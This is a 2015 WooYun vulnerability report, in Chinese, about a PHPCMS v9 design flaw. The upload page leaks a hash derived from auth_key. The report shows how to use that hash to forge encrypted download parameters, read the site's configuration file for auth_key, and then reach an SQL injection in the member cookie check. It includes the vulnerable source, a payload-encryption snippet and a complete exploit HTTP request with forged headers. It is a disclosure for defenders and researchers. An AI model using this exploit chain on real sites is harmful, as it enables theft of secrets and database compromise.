当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(36) 关注此漏洞

缺陷编号: WooYun-2015-106892

漏洞标题: PHPCMS某处设计缺陷可致authkey泄露

相关厂商: phpcms

漏洞作者: loopx9认证白帽子

提交时间: 2015-04-10 14:35

公开时间: 2015-07-13 15:42

漏洞类型: 设计缺陷/逻辑错误

危害等级: 高

自评Rank: 18

漏洞状态: 厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 help@wooyun.org

Tags标签: php源码审核 设计不当导致攻击界面扩大

6人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-04-10: 细节已通知厂商并且等待厂商处理中
2015-04-14: 厂商已经确认,细节仅向厂商公开
2015-04-17: 细节向第三方安全合作伙伴开放(绿盟科技唐朝安全巡航无声信息
2015-06-08: 细节向核心白帽子及相关领域专家公开
2015-06-18: 细节向普通白帽子公开
2015-06-28: 细节向实习白帽子公开
2015-07-13: 细节向公众公开

简要描述:

通杀v9所有版本(有条件).

详细说明:

swfupload上传页面输出了 MD5(auth_key+sess_id), phpcms\modules\attachment\functions\global.func.php:initupload函数

code 区域
function initupload($module, $catid,$args, $userid, $groupid = '8', $isadmin = '0',$userid_flash='0'){
$grouplist = getcache('grouplist','member');
if($isadmin==0 && !$grouplist[$groupid]['allowattachment']) return false;
extract(getswfinit($args));
$siteid = param::get_cookie('siteid');
$site_setting = get_site_setting($siteid);
$file_size_limit = $site_setting['upload_maxsize'];
$sess_id = SYS_TIME;
$admin_url = pc_base::load_config('system','admin_url');
$upload_path = empty($admin_url) ? APP_PATH : 'http://'.$admin_url.'/';
$swf_auth_key = md5(pc_base::load_config('system','auth_key').$sess_id);
$init = 'var swfu = \'\';
$(document).ready(function(){
swfu = new SWFUpload({
flash_url:"'.JS_PATH.'swfupload/swfupload.swf?"+Math.random(),
upload_url:"'.$upload_path.'index.php?m=attachment&c=attachments&a=swfupload&dosubmit=1",
file_post_name : "Filedata",
post_params:{"SWFUPLOADSESSID":"'.$sess_id.'","module":"'.$module.'","catid":"'.$_GET['catid'].'","userid":"'.$userid.'","siteid":"'.$siteid.'","dosubmit":"1","thumb_width":"'.$thumb_width.'","thumb_height":"'.$thumb_height.'","watermark_enable":"'.$watermark_enable.'","filetype_post":"'.$file_types_post.'","swf_auth_key":"'.$swf_auth_key.'","isadmin":"'.$isadmin.'","groupid":"'.$groupid.'","userid_flash":"'.$userid_flash.'"},
file_size_limit:"'.$file_size_limit.'",
file_types:"'.$file_types.'",
file_types_description:"All Files",
file_upload_limit:"'.$file_upload_limit.'",
custom_settings : {progressTarget : "fsUploadProgress",cancelButtonId : "btnCancel"},

button_image_url: "",
button_width: 75,
button_height: 28,
button_placeholder_id: "buttonPlaceHolder",
button_text_style: "",
button_text_top_padding: 3,
button_text_left_padding: 12,
button_window_mode: SWFUpload.WINDOW_MODE.TRANSPARENT,
button_cursor: SWFUpload.CURSOR.HAND,

file_dialog_start_handler : fileDialogStart,
file_queued_handler : fileQueued,
file_queue_error_handler:fileQueueError,
file_dialog_complete_handler:fileDialogComplete,
upload_progress_handler:uploadProgress,
upload_error_handler:uploadError,
upload_success_handler:uploadSuccess,
upload_complete_handler:uploadComplete
});
})';
return $init;
}

可以看到函数返回的数据中有$sess_id 、$swf_auth_key这两个值,并且$swf_auth_key=MD5(auth_key+$sess_id).

模板phpcms\modules\attachment\templates\swfupload.tpl.php调用initupload函数输出了上边的内容:

code 区域
<?php echo initupload($_GET['module'],$_GET['catid'],$args,$this->userid,$this->groupid,$this->isadmin,$userid_flash)?>

利用点:PHPCMS文件下载功能加密了文件路径,使用的加密密钥为MD5(auth_key+User-Agent),通过修改浏览器UA为上边获取到的$sess_id,就能共用一个加密密钥,从而使PHPCMS能够解密我们构造的数据,这样就能下载任意文件啦。

phpcms\modules\content\down.php:

code 区域
public function download() {
$a_k = trim($_GET['a_k']);
if(empty($_SERVER['HTTP_USER_AGENT'])){
$pc_auth_key = md5(pc_base::load_config('system','auth_key').'down');
}else{
$pc_auth_key = md5(pc_base::load_config('system','auth_key').$_SERVER['HTTP_USER_AGENT']);//修改UA为$sess_id
}
$a_k = sys_auth($a_k, 'DECODE', $pc_auth_key);//$pc_auth_key为前面获取到的$swf_auth_key
if(empty($a_k)) showmessage(L('illegal_parameters'));
unset($i,$m,$f,$t,$ip);
parse_str($a_k);
if(isset($i)) $downid = intval($i);
if(!isset($m)) showmessage(L('illegal_parameters'));
if(!isset($modelid)) showmessage(L('illegal_parameters'));
if(empty($f)) showmessage(L('url_invalid'));
if(!$i || $m<0) showmessage(L('illegal_parameters'));
if(!isset($t)) showmessage(L('illegal_parameters'));
if(!isset($ip)) showmessage(L('illegal_parameters'));
$starttime = intval($t);
if(preg_match('/(php|phtml|php3|php4|jsp|dll|asp|cer|asa|shtml|shtm|aspx|asax|cgi|fcgi|pl)(\.|$)/i',$f) || strpos($f, ":\\")!==FALSE || strpos($f,'..')!==FALSE) showmessage(L('url_error'));
$fileurl = trim($f);
if(!$downid || empty($fileurl) || !preg_match("/[0-9]{10}/", $starttime) || !preg_match("/[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}/", $ip) || $ip != ip()) showmessage(L('illegal_parameters'));
$endtime = SYS_TIME - $starttime;
if($endtime > 3600) showmessage(L('url_invalid'));
if($m) $fileurl = trim($s).trim($fileurl);//对$s没有过滤,可以将路径拆成两部分来绕过检查
//远程文件
if(strpos($fileurl, ':/') && (strpos($fileurl, pc_base::load_config('system','upload_url')) === false)) {
header("Location: $fileurl");
} else {
if($d == 0) {
header("Location: ".$fileurl);
} else {
$fileurl = str_replace(array(pc_base::load_config('system','upload_url'),'/'), array(pc_base::load_config('system','upload_path'),DIRECTORY_SEPARATOR), $fileurl);
$filename = basename($fileurl);
//处理中文文件
if(preg_match("/^([\s\S]*?)([\x81-\xfe][\x40-\xfe])([\s\S]*?)/", $fileurl)) {
$filename = str_replace(array("%5C", "%2F", "%3A"), array("\\", "/", ":"), urlencode($fileurl));
$filename = urldecode(basename($filename));
}
$ext = fileext($filename);
$filename = date('Ymd_his').random(3).'.'.$ext;
file_down($fileurl, $filename);//readfile读取文件输出
}
}
}

漏洞证明:

利用方式:

第一步获取$sess_id 和 $swf_auth_key:

注册用户登录后,在线投稿(需要后台开启),上传图片右键源码:

1.png



2.png



得到SWFUPLOADSESSID、swf_auth_key这两个值记录下来后边会用到。

第二部构造参数提交:

文件下载url:index.php?m=content&c=down&a=download&a_k=构造的参数,使用上一步得到的$swf_auth_key加密数据:

code 区域
<?php
echo sys_auth('i=3&d=1&t=9999999999&ip=**.**.**.**&m=3&modelid=3&s=caches/configs/system.p&f=hp', 'ENCODE', 'cfd9640609eda8f9fb18c6218a1b2fbb');
?>

将路径拆为两部分绕过检查。下载会检查ip,提交的时候xff要与之对应。

code 区域
GET /phpcms/index.php?m=content&c=down&a=download&a_k=a0a0O5Uaj01MArU_b8CugWY5sD_DOEywOTSS23YhCRMuvNAZxC0SZQJqKP4d4aji2bxoqi6AkHntYxSdp0nH5EImeznkwR8a4Cv4q0icTqG93BV2-XxvYNmNaojda_T0ZwW71REcF8ylU3I HTTP/1.1
Host: **.**.**.**
User-Agent: 1428568625
X-Forwarded-For: **.**.**.**



3.png



通过读取配置文件,得到auth_key之后就能SQL注入了。

phpcms\modules\member\classes\foreground.class.php:

code 区域
final public function check_member() {
$phpcms_auth = param::get_cookie('auth');
if(ROUTE_M =='member' && ROUTE_C =='index' && in_array(ROUTE_A, array('login', 'register', 'mini','send_newmail'))) {
if ($phpcms_auth && ROUTE_A != 'mini') {
showmessage(L('login_success', '', 'member'), 'index.php?m=member&c=index');
} else {
return true;
}
} else {
//判断是否存在auth cookie
if ($phpcms_auth) {
$auth_key = $auth_key = get_auth_key('login');
list($userid, $password) = explode("\t", sys_auth($phpcms_auth, 'DECODE', $auth_key));//解密cookie取值
//验证用户,获取用户信息
$this->memberinfo = $this->db->get_one(array('userid'=>$userid));//$userid没有intval,存在注入而且无视GPC
if($this->memberinfo['islock']) exit('<h1>Bad Request!</h1>');
//获取用户模型信息
$this->db->set_model($this->memberinfo['modelid']);

$this->_member_modelinfo = $this->db->get_one(array('userid'=>$userid));
$this->_member_modelinfo = $this->_member_modelinfo ? $this->_member_modelinfo : array();
$this->db->set_model();
if(is_array($this->memberinfo)) {
$this->memberinfo = array_merge($this->memberinfo, $this->_member_modelinfo);
}
...



4.png

修复方案:

你们更专业.

sys_auth函数有三个版本:

phpcmsV9.5.8以前

phpcmsV9.5.8添加mcrypt

phpcmsV9.5.9最新版本改为dz authcode.

版权声明:转载请注明来源 loopx9@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:11

确认时间:2015-04-14 15:40

厂商回复:

感谢提交

最新状态:

暂无


漏洞评价:

对本漏洞信息进行评价,以更好的反馈信息的价值,包括信息客观性,内容是否完整以及是否具备学习价值

漏洞评价(共0人评价):
登陆后才能进行评分

评价

  1. 2015-08-05 23:37 | Elliott ( 实习白帽子 | Rank:48 漏洞数:11 | 绝逼不当程序员)
    2

    全局普查auth_key发现的???求挖洞思路。

  2. 2015-08-29 23:30 | bobbi ( 路人 | Rank:22 漏洞数:8 | 我没什么爱好 平时就爱撸撸管 看看AV)
    1

    第二步 我还是没看懂 得到的$swf_auth_key 怎么构造加密数据?

登录后才能发表评论,请先 登录